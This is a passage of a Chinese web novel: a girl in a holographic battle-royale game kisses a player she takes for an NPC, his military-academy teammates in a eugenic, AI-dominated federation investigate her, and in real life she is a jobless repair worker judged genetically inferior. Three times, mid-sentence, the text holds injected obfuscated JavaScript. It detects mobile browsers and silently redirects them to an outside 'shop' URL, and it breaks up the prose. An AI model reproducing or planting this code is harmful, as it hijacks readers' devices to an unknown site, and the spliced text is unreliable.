她满心只有暴富的喜悦,和一点天降横财的不安。 “只是杀了一个人,他就给了我这么多钱,是不是有什么我不知道的东西啊。”宁清禾坐在石头上一遍又一遍地欣赏自己的账户余额,晃荡着双腿,偶尔看向跟自己同行的粉毛NPC。 粉毛NPC正坐在地上处理伤口,自从上次宁清禾骂过他之后他就变得很安静,即使每天跟宁清禾一起走,但从不主动说话,也不会看她,在安全的环境中更是会主动拉开距离。 只有宁清禾主动问,他才会开口回答。 标准的人机NPC。 不过见识过他一开始的自来熟和脸红,宁清禾觉得比起性格大变,这个NPC似乎更像是在跟她置气。 幼稚的小孩子总是喜欢这样置气的:你不喜欢我我也不喜欢你,你不找我说话我也不找你说话。我们就这样冷战下去吧,直到有一个人认输为止。 非常经典又简单的攻略角色性格设置。 不过比起顺毛,宁清禾更喜欢逗这种角色玩,故意看他们气不过又不能干掉自己的样子。 实在非常地快乐。 所以此刻她心知自己在粉毛NPC那里的好感可能为负数了也不打算收手,而是等着他包扎好伤口,看着他抿着唇一脸不情愿地开口回答自己的问题:“这个游戏里一个人死亡之后会显示杀人的名字的,而且游戏内不可重名。” “所以呢?”宁清禾捧着脸,看着粉毛NPC几乎明晃晃写着【给我一个台阶我就跟你和好】的脸,依然选择了推进主线。 粉毛NPC对她这样冷漠的反应很是不高兴,垂着眼冷哼一声,别回头去不再看她,但还是继续回答她的问题:“所以现在所有人都知道你杀了王立勋那个混蛋,不管是他效忠的那些帮派,还是原本要杀他的Q。他们只需要搜索你的ID,就能把你加进仇杀名单里。” “恭喜你,现在应该被全服通缉了。” 粉毛说出这句话时带着些恶意,看向宁清禾,似乎想欣赏她的慌乱。 但宁清禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407397|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是捧着脸,恍然大悟的模样,嘟囔了一声:“怪不得出价那么高,原来是要我当替罪羊,人是他要杀的,罪名是我来背,那钱真是要少了,啧,天下资本家一般黑。” 她嘀咕许久,不曾看站在一旁的粉毛,也没有如他所想的一般慌乱无助地问他该怎么办。 粉毛觉得自己被忽略了,更郁闷了,他忍不住出声:“喂,现在所有人都要杀你,你打算怎么办?” 宁清禾手撑在石头上,歪了歪头,看向这个心思几乎写在脸上的NPC。 他分明是主动提醒又主动询问的,此刻察觉到她的目光,又极为刻意地侧过头,微微抬起下巴,目光却又不时飘过来,碰到她又快速闪躲。 白净面皮上几乎写满四个字:你快求我。 宁清禾不禁为他这种明显又幼稚的傲娇而发笑。 面对他此刻的开屏,宁清禾偏偏晃荡着双腿,朝他一笑: “哎呀,你说的我好怕怕啊,怎么办呢。” 粉毛将下巴仰得更高了,几乎是直勾勾看着宁清禾。 宁清禾抬起手,敲了敲自己的脑袋,在他期待的目光中表演了一番冥思苦想到灵光乍现。 “有了!既然那个蒙面人一开始以为我是Q,那我去找Q好了,Q可以接单我为什么不能,我拜Q当师父,让他教我当杀手,这不就好了。” “杀手杀人,天经地义。” 粉毛的计划落空,顿时急起来,“你想得美,Q是全服第一杀手,从来只谈钱,从来没有任何亲友关系,都很少有人知道他长什么样子,你说找就找啊。再说了,你抢了他的单子,让他名誉扫地,他肯定是要杀了你以儆效尤,怎么可能跟你合作。” 宁清禾坐在高处的石头上,看着他语无伦次的样子笑起来,“那你说要怎么办?” 粉毛陡然话语一顿,不知是因为宁清禾朝他露出的笑容,还是她陡然刺中了他方才在辩驳之下的那点心思。 他别过头去,支支吾吾,“你,你要是求我,我可以帮你一把。” 宁清禾看着他红彤彤的耳垂,“你要怎么帮我?” 粉毛NPC咳了咳,“我好歹也算是个高级玩家,自然是有一些手段,别的不说,帮你隐匿ID和位置是可以做得到的,这样一时半会没人找得到你,你至少能多活几天。” “但是我不白帮人。”粉毛NPC顿时又抬起下巴,“你救了我一次是真的,但是其实你不来救我,我也会逃脱的,实不相瞒,我也是去暗杀王立勋的,他吞了很多帮派的好东西,我也想分一杯羹。” “我领你的情,但是你要知道我帮你可不止能救你一次。先前我道歉了,也道谢了,你怎么着也得跟我道声谢吧。” 他絮絮叨叨地说了一大堆,虽然语气还是平静,但是垂下的手指动个不停,泄露了几分他的心绪。 可是宁清禾一直没有回答。 “喂,你到底什么意思啊?”他转过头去,声音带上几分羞恼。 正好和宁清禾对上视线。 她不知什么时候从石头上跳下来,走到了他旁边,手里捧着从王立勋那里捡来的一堆东西,一脸认真地问他。 “你想要的是哪个?拿走吧,这样我是不是就攻略成功你了?” 粉毛看了一眼宁清禾手中那些价值连城的宝贝,眼睫颤抖,目光忍不住往宁清禾脸上飘,头一次说话有些打哆嗦。 “你攻略我?” 宁清禾点了点头,朝他一笑,“对啊,攻略你,得到你。你脸红的样子突然让我又有点喜欢你了。” 粉毛顿时脸色通红,下意识后退一步,声音也小了下去,“你胡说八道些什么啊。” 宁清禾往前迈了一大步,把那些宝贝收回到仓库里,踮起脚仰头看着粉毛,颇有一种进攻感,贴着他的下巴,眨了眨眼,“没有胡说八道啊,我进游戏的时候就觉得你最好看。你不好奇我为什么大发善心救你吗?因为你好看,我喜欢你,所以我救你。” 粉毛退了好几步,直到脊背贴上一根断裂的石柱,再也没法后退。 他眼睁睁看着宁清禾走过来,步伐不紧不慢,脸上带着灿烂的笑,分明比他矮上一个头,但是却让他有一种落入罗网之中的眩晕无力感。 “根据我多年的游戏经验,攻略傲娇的方式是直接上哦,毕竟傲娇浑身上下嘴最硬了。” 她说着这种奇怪的话,踮起脚,亲了他一下。 4. 网恋受害者 宽大的屏幕闪着幽蓝色的光芒,画面定格在少女踮脚亲吻的这一瞬间。 休眠椅上的棕发少年骤然苏醒过来,一把将太阳穴两侧的脑机摘下来,关掉了显示器屏幕,但方才的画面依然在他脑海中挥之不去。 “怎么会有这样的人......”他烦燥地掀起额前的碎发,捂着自己发热的脸,“简直是流氓来着。” “什么流氓?”穿着银蓝色军校制服的同伴推开门走进来,看见坐在位置上的人只穿了一件白色休闲装,镶嵌着白色星星的制服松垮披在椅背上,桌面上两个纽扣大小的脑机连接器还闪着幽蓝色的光,顿时明白他刚刚在做什么,也不意外,走了进来把身上外套一脱,随手甩在空闲的椅子上,打开冰柜拿了一瓶能量剂,坐在旁边的沙发上。 “又是那个什么心跳倒计时,有那么好玩吗?军校好不容易放次假,也没见你干点别的。马上就是模拟军演了,下回放假可不知道是什么时候了。” 卢枫坐在位置上,并不吭声,看着漆黑的屏幕,不时移开眼,又悄然转回来,想走又抬不起脚。 叶凛顿时察觉到几分不对劲,倘若是换了从前,卢枫早就慷慨陈词语气激昂地说玩游戏也是一种战术。 “卢枫,你今天怎么了。”叶凛把空了的能量剂丢入回收口,双手垫在脑后,朝着卢枫挑眉笑起来,“不会是在游戏里真给流氓欺负了吧。” “来,跟爸爸说,爸爸给你出头。” 卢枫立马拿起手边的饮料瓶朝徐凛一丢,“滚犊子。” 叶凛侧身躲开,瓶子砸在银色金属墙上,发出一声脆响,透过半开的门传出去,吸引了走廊里另外两个人的驻足。 他们转头看来的一瞬间,叶凛挥了挥手招呼,从沙发上跳起来,猛地冲到穿着黑色银扣制服的男人身后,同时看向旁边站着的银发伙伴,笑嘻嘻地开口:“青哥,阿禾,我们可怜的卢枫弟弟在游戏里被人欺负咯,偷偷躲在位置上擦眼泪哦。” 卢枫下意识想去关掉脑机连接,登出游戏,但已经晚了,站在走廊上的那两个人已经转头看了过来,洛禾笑嘻嘻的似乎在询问真假,顾青依然是那副冷淡的表情,只是掠过一眼,便开口得出结论:“卢枫,你有不想让我们知道的秘密了。” 他的语气万分肯定:“你喜欢上这个游戏里的人了,在无法保证对方是可接触人员的情况下。所以你不想让我们知道。” 他像是机械执行程序一般,象征性问了一句:“是吗?” 卢枫侧过头,没有正面回答。 “怎么可能是喜欢,我就是被缠上了,而且我也没有干出什么泄密举动。” 顾青推开训练室的门,坐在沙发上,看着卢枫,“很多时候人的泄密都是没有意识的,只有铸成大错的时候才会意识到错误。所以有没有泄密不是你说了算的,你必须把你的事情一五一十地告诉我。” “你可以不说,我会去调你电脑上的所有信息流一一查证。《联邦法则》里规定,涉及保密事项,任何企业必须无条件配合,开放权限,否则以叛国罪论处。” “哪有这么严重。”卢枫转过椅子,颇为无奈又心烦地看着窗外,开始交代起来。 “我在这个游戏里从头到尾都隐匿了IP,挂靠在垃圾星的荒芜地区,捏脸也没有用自己的。” 卢枫看了一眼顾青迅速转开头,低咳一声继续说了下去,“而且我都没有用任何的格斗技巧和枪械使用技术,完全就是个手无缚鸡之力的普通人,压根不存在任何暴露身份的可能,不信我可以给你们看我资料卡,要不是为了隐藏身份,我也不至于是个战五渣。” 他这信誓旦旦的样子不像是说谎,叶凛顿时觉得没什么意思起来,抱臂开口问他:“那流氓是怎么回事?你个心机鬼在游戏里扮猪吃老虎这么久,怎么突然就让一个流氓得了手,还破防地骂出声来,游戏都不登了,我问你也不说。” 卢枫顿时卡了壳,瞪了徐凛一眼。 叶凛立马告状,“看看看,被我说中了,恼羞成怒就是这个样子了。青哥,那个流氓肯定就是关键。” “没有!”卢枫站起来大声驳斥。 他努力让自己看起来自然些,继续往下说:“你们也知道,我玩的是款冒险逃杀游戏,没有秩序没有法则,纯粹根据人头排名。这种极度混乱的情况下自然有人拉帮结派,黑吃黑,其中就有个人叫王立勋的,七姓家奴,几乎给每个大帮派都当过狗,手中自然也有不少好东西,我听说有人要黑吃黑,干掉他,就想着浑水摸鱼,也顺点东西。” 顾青看了一眼满脸严肃的卢枫,开口道:“你还在转移话题。” “青哥你能不能相信我!我这是很重要的背景信息!再说了,我这不是马上就到重点了吗。”卢枫低咳一声,目光往外飘,声音也低下来,“一切本来进行的很顺利,我潜入他身边假装叛徒让目标抓到了我,并且让他以为我握有他的把柄,误导他将我带到偏远的废土里处决。” “只是我没想到那种荒凉的地方居然是个出生点,然后她就出现了,把我的目标一枪爆头,打乱了我的所有计划,也意外让我发现了现场还有一个想黑吃黑的人。” “那为什么叫人家流氓?”洛禾从掌上智脑中抬头,看向耳垂发红的卢枫,“目前为止这个人听起来挺好的,天赋异禀,而且帮助你发现了你计划的错漏,阴差阳错之下也保住了你的一次命。” 卢枫的目光像是装满水的气球一样晃荡着,泄露着他此刻的心绪。 他说话的声音很小很小:“因为她一上来就要和我做那种事情。后面还强吻我。” “什么?”叶凛和洛禾不约而同地把身体往前倾,试图听清他说的后半句话。 顾青也沉默着看向卢枫,满眼的怀疑。 卢枫心中羞耻心彻底爆发,他扭过身去,银色的军靴踩在地板上发出一声响。 “我说!她杀完人之后就当着很多人的面说想和我做那种事情!对我见色起意!后面还强吻我!我的初吻就这么没了!全息游戏里的初吻和现实里的有什么区别!我就这么被她亲了,还是摁在墙上亲的!” 卢枫顶着一张红透了的脸开口:“这不是流氓是什么?!跟泄密有个鸡毛关系!我哀悼一下我逝去的初吻,不行吗不行吗不行吗?!” 洛禾和叶凛面面相觑,表情略微有些扭曲,看着面前大喊大叫的老幺,不仅无法理解,反倒生出一些荒诞来。 “你的意思是,你在游戏里什么都没做,打架也菜的要命,甚至还是一个被审问的叛徒身份出现,然后就有一个女孩上来就跟你表白,还主动亲你,是吗?” 说到最后,洛禾和叶凛都不禁笑起来。 叶凛还站起身来,把手放在胸前,摆出一副夸张姿态,夹着嗓子,学着恋爱游戏女角色的语气开口道:“哦,你真是我的英雄,我伟大的战士!命定的伴侣!哪怕你菜到令人发指,狼狈不堪,但是命运还是让我认出了你,我的爱人!我的眷侣!” 说完,叶凛就变了脸,毫不犹豫给卢枫泼了一盆冷水:“得了吧,你玩的是冒险逃杀游戏,又不是什么GalGame,做什么美梦,美少女是你想碰见就能碰见的吗,还强吻你,我看你是玩游戏把脑子玩懵了光天化日就做起春梦来了。” 卢枫气得一时语塞,正要反击回去,坐在沙发上的顾青实在受不了他们的聒噪,看了看时间,叫停了眼前那场闹剧。 “可以了,回归正事。” 顾青摁了摁因为周围环境太过吵闹而隐隐作痛的太阳穴。 没办法,这些都是他队友,总不能杀了。 他深呼吸一口气,看向卢枫,尽量保持着自己语气的平和:“她是什么身份,背景清白吗?你有没有向官方索要过她的数据核查?” 卢枫顿时懵了,“没有......事发突然,我还没有来得及。” 顾青顿时皱起眉,看向卢枫的目光带着些不可思议,“一个完全未知的人物出现在你的计划里直接夺取了你的目标,你完全没有进行任何调查,也没有控制对方。” “甚至被对方控制了。”顾青闭了闭眼,似乎不想承认面前这个完全没有职业素养的人是自己亲手招进来的队员,“你不仅没有意识到这些问题,甚至还在这里纠结你的初吻。” “请容许我提醒你,卢枫,你玩的是一款虚拟游戏,你完全不知道坐在你对面的是什么人。一切都可以造假,身份,面貌,能力。你以为你遇到了你的真命天女,但是在星球另一端的人可能是个已婚妇女,也可能是个抠脚大汉。它甚至可以完全不是人类范畴,据我所知,你的那款游戏的服务器是部署在公共空间域的,它对宇宙里的所有星系和种族开放。” “也就是说,今天强吻你又让你念念不忘的,有可能是亚人,也有可能只是一只可以联网的动物,一只老鼠,一只虫子,一只猫,都有可能。” 卢枫脸色一白,似乎不愿意接受这个假设。 顾青面色也沉了沉,为自己身边队友堪称松懈的防备心,他压抑着失望的情绪,再一次向面前这个年龄最小性格最浮躁的队友重申那些堪称幼教般的常识起来。 “现在的世界早已不局限在地球,在人类的范围里,自从宇宙探索成功之后,多种智慧生物早已进入我们的生活里,人类早已不是唯一的高等生命形态。” “普通人觉得这是件好事,但是作为蓝海的一员,你我应该时刻记得,外来的这些物种,可以是朋友,也随时可能是敌人。我们的立场或许一致,但从不是完全相同。” 智脑响起日程提醒的声音,顾青站起来,将身上的衣服扣子扣到最上面的一颗,从腰间取出一双手套戴上,朝外走,临出门之前,他还是回头,看了一样低丧着脑袋不说话的卢枫。 “卢枫,还有一件事情我必须提醒你。亲吻,爱情,心动,这些都是古早世纪的词汇,现代科学已经证明,它们是繁殖基因制造出来的幻想,并不存在。现在基因筛选技术已经成熟,古早低效的繁衍早已被舍弃。你所纠结的这些东西,完全不重要。” “在基因检测说明里,只有低劣基因携带者才会奉行爱情主义借此让基因继续传播下去。这种错误不要有下次了。你的假期到此结束。” 卢枫坐在沙发上,低垂着脑袋,像是被冷水泼熄的火种,带着一种湿漉漉的低沉。 叶凛和洛禾拍了拍他肩膀,出于朋友的情谊还是安慰他:“好了,你又不是不知道顾青他就是这样,什么事情都喜欢搞得很严肃,毕竟是个贵族庭院里长大的公子哥儿,芝麻小的事情到他那里都是天大的事情。谈就谈呗,人类本性,要是我们真的什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407398|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情都遵循智脑的建议,那跟机器人有什么区别,全世界的灰色产业都别干了。注意点就行,别发展到线下,没事的。” “小事儿,很快就过去了,你以后玩游戏背着点儿顾青就行。” 卢枫抿了抿唇,没吭声。 出了大楼之后,顾青向智脑发送了一条指令,很快,信息管控部就把卢枫电脑上所有的操作记录和游戏画面全部拷贝过来,展现在顾青的面前。 一切都没有什么异常,如卢枫所说那样,他隐匿了IP,身份,在这个混乱的游戏里当个游手好闲的旁观着,不时搞点小破坏。 只是有一点让顾青不由得深呼吸一口气,产生了一种想要揍熊孩子的冲动。 那就是卢枫用了他的脸。 不说百分百还原,只能说八分相似,尤其是五官,而皮肤的选择上,卢枫或许是故意的,挑了顾青本人最不喜欢的冷白皮还加了许多柔光效果,故意选了他最讨厌的粉发,直接做出了小白脸的效果。 卢枫显然是知道自己这样做的不妥,因为他在游戏里故意顶着这张脸朝别人问:“怎么样,我这张脸够不够吃软饭?” 不管其他玩家回复什么,卢枫都能爆发出一阵欢快的笑声。 顾青不由得轻轻握拳,闭眼选择了快进,直接跳到了卢枫口中的那一天,把进度条拉到了关键的时间点,注视着游戏画面里少女在出生点的诞生。 幽蓝色的光圈在废弃的土地上浮现,穿着初始黑白拼接作战服的少女凭空出现,手里拿着一把早已淘汰的老式手枪。 她表现得像是雏鸟一样,环顾四周,好奇又茫然,看着自己手里的枪也没什么反应,只是摸了摸,便收了起来,然后开始探索附近,面上一派失望,踢了踢路边的石子。 “什么破游戏,不是说什么做主宰吗,给我发配哪里来了。” 确实是个新玩家,而且现实里应该也是个人类,年龄不会很大。 顾青看着游戏画面里少女的面容,又补充了一个标签:面容确实很具迷惑性,很容易让人放下戒心。 他想了想,又在脑子里加了一个备注:【这么出色而又特殊的形象,恐怕并非偶然,应该也是精心设计过的,别具一格。毕竟远古时代就有美人计之说,而卢枫的一系列反应也证明了古人的智慧。】 看到游戏画面里宁清禾调整枪支站在百米之外一枪爆头之后,顾青脸色顿时严肃起来,把游戏画面倒回去,用0.1倍速再看了一遍。 在0.1倍速的播放之下,少女的动作依然敏捷漂亮。 她几乎没怎么低头看手枪就调整好了准星,然后眼也不眨,几乎是抬手的瞬间,瞄准,射击,一气呵成。 顾青看了三遍,最后坐在真皮座椅上,看着游戏里长发披肩的少女,不由得把目光放到她的ID上,然后在心中再给她加了一条备注:【此人应该与王立勋认识,危险性高,受过专业训练,或许是某个行动部门的内部人员,等级应该不低。】 此刻再看到游戏画面里卢枫的呆滞和讶然,顾青心中多了几分谅解。 全息游戏虽然传输意识号称百分百还原真实五感和体能,但是实际上的敏感度这些还是比真实人体差了些,无论是射击还是格斗,精准度都会大大下降。 像她这样一出生就用老式手枪在游戏里爆头的,在理论层面上,确实是一个奇迹。 凭心可论,倘若他本人在场,或许也会怀疑面前所发生一切的真实性,再然后就是怀疑少女的身份,尽全力拉拢她,又或者,在她没有成长之前干掉她。 所以游戏里蒙面人出现并且提出拉拢她的时候,顾青没有任何的意外。 他看着蒙面人那一双熟悉的灰色眼睛,听到蒙面人向【清禾】开出的条件,不由得产生一种鄙夷:半兽人就是半兽人,开条件都这么寒酸。 听到少女的拒绝的时候,看着政敌茫然的表情,顾青心上涌起一阵愉悦来,不由得再给这个素未谋面的少女补了一个备注:【脑子不错,比卢枫聪明。】 而后在顾青耳边响起的便是少女的那一番告白。 顾青的思考在少女说出那句“你最好看”的时候缓慢停顿一瞬。 他暂停了画面,看着少女对面的人,那是他的脸。 他说不清自己心中是什么感觉,像是一层大雾之下的浪潮迭起,缓慢而清晰,却摸不着方向,说不清,道不明。 他是极致的效率至上者,并不喜欢过多探索这种虚无的感觉,忽略了心中那一点点的异样,向智脑传达了继续播放游戏画面的指令。 于是顾青看着少女踮起脚,扬起灿烂的笑,亲上了那张属于自己的脸。 此趟出行的目的地正好到达,他迈出的空中浮轨的舱门,迎面吹来一缕风,拂过他的脸,像是蜻蜓点水,雨滴敲窗。 顾青步伐一顿,仰起头看向面前的天空,浮轨上方的玻璃在阳光照射之下呈现一种斑斓的色彩,极为漂亮。 外界的风,本不应该吹进他所站的这里。 他想他应该只是最近太累了,仅此而已。 顾青继续向前走着,智脑里传来信息管控部的消息: 【检测到卢枫登陆游戏《心跳倒计时》,是否要将画面实时同步给您?】 顾青垂下眼,回了【是,请立即同步。】 5. 现实 卢枫上线之前想了很多很多的问题,关于【清禾】的身份,以及为什么选中他作为另一半,她到底是不是认真的,至少,她应该做个保证,保证她是个女孩子,而不能是一个抠脚大汉,或者异形。 顾青也想了很多,主要是一直潜伏在联邦里怎么也绞杀不干净的“天性自然”教派余孽,他们的口号就是摆脱机械奴役,让人成为人。【清禾】的行为举止,实在很符合他们的教义。 他必须好好观察一下【清禾】,必要的时候,他会下达抓捕命令,为联邦清扫不该存在的障碍。 但卢枫上线的时候,【清禾】却消失了。 卢枫愣了一下,在原地找了许久,没有发现任何留言,也没有找到任何打斗的痕迹,游戏里的风吹过岩石,他一个人站在原地,摸了摸嘴唇,下线之前女孩的亲吻似乎还残留着温度,此刻却像是一个幻觉一样。 他在原地等了五天,什么也没有干,蹲在原地,像是被遗弃的小狗。 偶尔闲暇的时候,卢枫也会在论坛发帖:【有人见到清禾吗?悬赏五十万云贝,只要活的,不能伤害她。线索五万一条,无上限。】 【哇塞,悬赏金额又刷新了,这次是为什么啊?】 【只要活的?这还是我们处处杀游戏吗?楼主,你是第一次发帖吗?我们这里都是只要死的,从来没有人要活的。你可以指定对方的死法,但是要活的有些为难我们杀手了。】 【楼主,我们是杀手,不是保镖,你走错游戏了。】 【楼主的语气好奇怪,尤其是那句不能伤害她,不能伤害怎么抓人啊。不像是仇杀,反而是像调情。】 【楼上你们想多了吧,拜托,这里是《心跳倒计时》,不是那什么《心动倒计时》,我们玩的是心跳!是刺激!是杀戮和鲜血!怎么可能存在情情爱爱。清禾一个2级号,才注册几天啊,又是抢Q单子,又是被各大组织通缉的,还有时间去跟楼主谈恋爱?那还是人吗?】 卢枫皱着眉,敲下了回复:【我不是通缉,就是想找她。我是她游戏里的男朋友,确定了关系的。她突然消失了,我担心她出了什么事情。我可以提高金额,七十万云贝,但是不希望她被伤害。】 【如果有人杀了她,我一定会为她报仇,追查到底,绝不会放过任何一个人。】 说完卢枫就下线了,留下论坛炸开了锅。 【不是,还真有人网恋啊。就我一个人在玩单机版吗?啊?啊?啊?!你们说话啊?!为什么不说话!不会真在谈恋爱吧!说话!!!】 【我算了笔账,清禾的命各大帮派十万十万的悬赏,Q悬赏了三十万,楼主这个七十万一出来,直接给她身价干到两百多万了,隔壁抠搜楼主的一万都懒得计入。不是,她甚至只是一个2级号,这么值钱吗,她注册日期甚至都没有十天,怎么做到的。】 【我做杀手十年了也没有两百多万啊。这就是天赋吗?】 【开班吧!清禾!我不举报你!求开班!怎么十天之内杀一个人还能谈场恋爱,让对方为我怒花七十万。】 【所以她到底什么来头,这么多天了,这么多大佬,没有一个能说出她具体信息的。一个2级号真的能做到这样吗?她应该是秽土转生吧,大佬开小号来打新手村,我觉得她肯定不是新人。】 【+1。要是普通人,早被开盒了吧。这么多钱,愣是没一个人能查出来,开盒狗也说了,清禾这个号就很诡异,信号很模糊,完全无法精准定位。名字也很大众,一看就是故意取的,一看就是顶级玩家,有备而来,怎么可能是新手。】 事实上,被猜为大佬的宁清禾正在打零工。 她前几天在游戏上刚刚亲到NPC,对方就消失了,宁清禾以为是自己老旧游戏舱又出问题了,狠狠一拍,结果老化的连接板直接脱落,砸到了裸露的元件上,哐当一声,她的游戏舱就冒起了一阵青烟,黑屏了。 宁清禾没办法,狼狈地爬出游戏舱,怀揣着郁闷的心情去找自己的老熟人看看有没有活能接了。 她的熟人老周是渡口的保安,据说曾经在一江之隔的新街区有一份体面工作,后面落魄了,就来被遗弃的老街区谋了个渡口保安的活计养老混日子,每天牵着条大黄狗喝茶看新闻,背地里牵线搭桥,给宁清禾这种有手艺但是身份敏感的黑工介绍活,当然也不白介绍,也会抽走一部分当做介绍费。 抽成比例是多少众说纷纭,也有不少人因为这个抽成跟老周闹翻过,但是宁清禾从来不问也不关心,她只管有钱赚就行,至于对方赚多少,她不在意。 进厂的日子总是断断续续,工资也总是爱发不发,对于宁清禾来说,零工反而是主业一般,养活了她。 去之前,宁清禾还特意去破旧的便利店,挑了一根火腿肠和一瓶酒,火腿肠是给狗的,酒是给老周的。 她拎着火腿肠和酒一出现,大黄狗就闻到味儿,牵着老周跑过来了。 老周扶了扶老花镜,看着宁清禾低着头的样子,心下了然,“新安器械厂把你辞退了?” 宁清禾点了点头,剥开火腿肠蹲在地上喂大黄狗。 老周顺势坐下来,看着面前浑浊的河水叹了口气,“不应该啊,以你现在的手艺,那帮人都够不着你一根毫毛的,没了你,他们找谁干活去,王志勇?那个蠢货压根办不成事情。” 宁清禾笑了笑,“大爷,时代变了!厂子现在都自动化了,维修机器人也就是贵,不然早就普及了。” 老周转过头投来不赞同的一眼:“那机器还不是人发明的,要人维修,什么智械时代,都是自欺欺人,机器人就是一个程序,它能懂什么东西。最后还得由人来把控,不然肯定会出乱子的呀。” 宁清禾低头笑了笑,没有接话。 她从小学机械,长大了做了这么多年维修,最后被基因检测机器人的一纸检测结果判定了命运。 这老城区的数十万人,都是智械时代下被机器判定为劣等的弃子,所有人都是。 号称是优良基因的新人类有多好吗?宁清禾没有体验过,但她只知道,现在最火的游戏全都是AI接入,AI制作,所有的影视作品都是一张张电脑生成的虚假AI演员,AI与智械就像是血管里涌动的血一样,在这个时代的命脉里流淌着,无处不在,人人称颂。 就连一些知名的人物,也喜欢把自己的身体往智械化改造,媒体称之为人类的又一次进化。 她感觉自己像是一只蝼蚁,名为AI和智械的石头从山顶滚落,朝着人类的进程上碾来。 所有人都说这是一场胜利,一场新的进化,但她却觉得这是一场毁灭,一种灭亡的悲哀。 但她也什么都做不了,因为她只是一个被打上劣等基因的底层维修工,比AI和智械先到来的,是眼前的生存危机。 “我哪管那么多,先顾着吃饭吧。我那游戏舱坏了我都没钱修,器械厂工资还没法呢,所以我这不找您来了。”宁清禾笑着把酒倒上,双手递给老周头,笑吟吟开口:“师父,您不能眼睁睁看着你徒弟饿死吧。” “去去去,什么师父,早知道你这么赖当时我就不教你了,指点你两下还得负责一辈子啊。”老周一脸嫌弃。 宁清禾不说话,依然仰着头朝老周笑。 “真是欠了你的。”老周叹了口气,接过酒抿了一口,像是认命一般,“最近是有个活计,钱不少,但是那边来的人身份比较特殊,所以我本来不想接,怕出事。” “这能有什么事情?不就修个东西吗?”宁清禾头一次见到老周露出这种为难的神情。 老周闷了口酒,看着宁清禾面上的无知,不由得又深深叹了一口气,“你啊,多看看新闻,跟个二愣子一样,我每次最放心不下的就是你。” “你知道老街区的人为什么叫劣等人吗?” 宁清禾下意识回答:“因为我们携带劣等基因?” 老周横了她一眼,“什么叫劣等基因,人生下来哪有完美的,喜怒哀乐,不都是人之常情。那些优等人,先进人种,都是基因筛选的产物,在试管里就进行了基因剔除和移植,都是一群没有同情心,也没有感情的机器选择产物。更有人为了力量选择了融合外来生物的基因,成为了亚人,也就是半兽人。” “亚人和这些基因选择人互相不对付,都觉得自己是更高一级的人类。但是呢,他们都默契的觉得我们这些原始的人种才是最落后的。” 宁清禾听得云里雾里,“这跟我打工有什么关系?” “你真是掉钱眼里了,半点知识都不进脑子的。”老周不由得白了她一眼,“这次就是智械展览会的人找我介绍临时维修工。展览会上的企业基本都是跟联邦政府有合作的,甚至还会攀比,时常闹出事情来。维修工就是负责给他们擦屁股,少不得跟这些人打交道。” “这些人各个都是眼高于顶,拿鼻孔看人的,不管是亚人和基因选择人去了都要吃苦头,更何况是被判定的劣等基因人,那钱大半都是精神损失费。” 说着,老周又看了一眼宁清禾这张和周围老破建筑格格不入的脸,“你啊,要是长得丑点我也放心些,偏偏还长得不丑,去了跟一块肥肉掉进狼群有什么区别?年纪轻轻的,要是被那些人三两句话哄骗了去,哭都没地方哭。” “我哪有那么容易上当受骗。”宁清禾扬起头努力维护自己的尊严。 “得了吧,我还不知道你。”老周白了她一眼,“你看见个俊俏的就走不动道。亚人和基因选择人虽然已经不算完全的人类了,但基本上都是顶尖外貌基因,没有丑的。人家到时候朝你笑一笑,说两句好听话,再掏把钱给你,你还记得自己是谁吗?” “记得啊。”宁清禾手撑在布满尘灰的水泥地上,晃荡着腿,“我叫宁清禾嘛,在老街区讨生活,从母亲的子宫里出生而不是试管,劣等基因携带者,一名维修工。” “就算他们塞给我几十个美男,还有一大把钞票,说让我主宰世界,我也不会忘记的。” “你想的倒是美。”老周实在听不下去,给她泼了盆冷水。 “都是做梦了当然要想得美。”宁清禾笑嘻嘻的,“我这么年轻,不梦点好的,总不能跟您一样就每天想着遛狗喝茶吧,那我不白年轻了这么些个岁数了吗。” 老周砸吧了两下嘴,不由得又看了宁清禾一眼,她年轻的面庞和背后建筑以及道路的老旧破败成鲜明对比,像一颗晶莹饱满的果实挂在即将枯死的老树枝干上。 老周又叹了口气,起身拿出钥匙,走向保安室,开了门进去,从沙发坐垫的底部找到了那张皱巴的邀请函,把它抚平了,递给宁清禾,手却没有松开。 “你记得去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407399|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了之后把你脸遮住,名字也别轻易往外说,除了干活,少出门,也别跟他们结交。新城区的人都信奉进化,我们这些自然出生的人在他们眼里都是瑕疵品,所以那里不会有你的朋友和同伴。” “做完事就回来,不要停留,新城区看起来好,但是容不下你的。” 宁清禾答应得干脆,出发那天把脸遮得严严实实,穿了一身白色T恤和蓝色背带裤,背着个黑色大包就出发了。 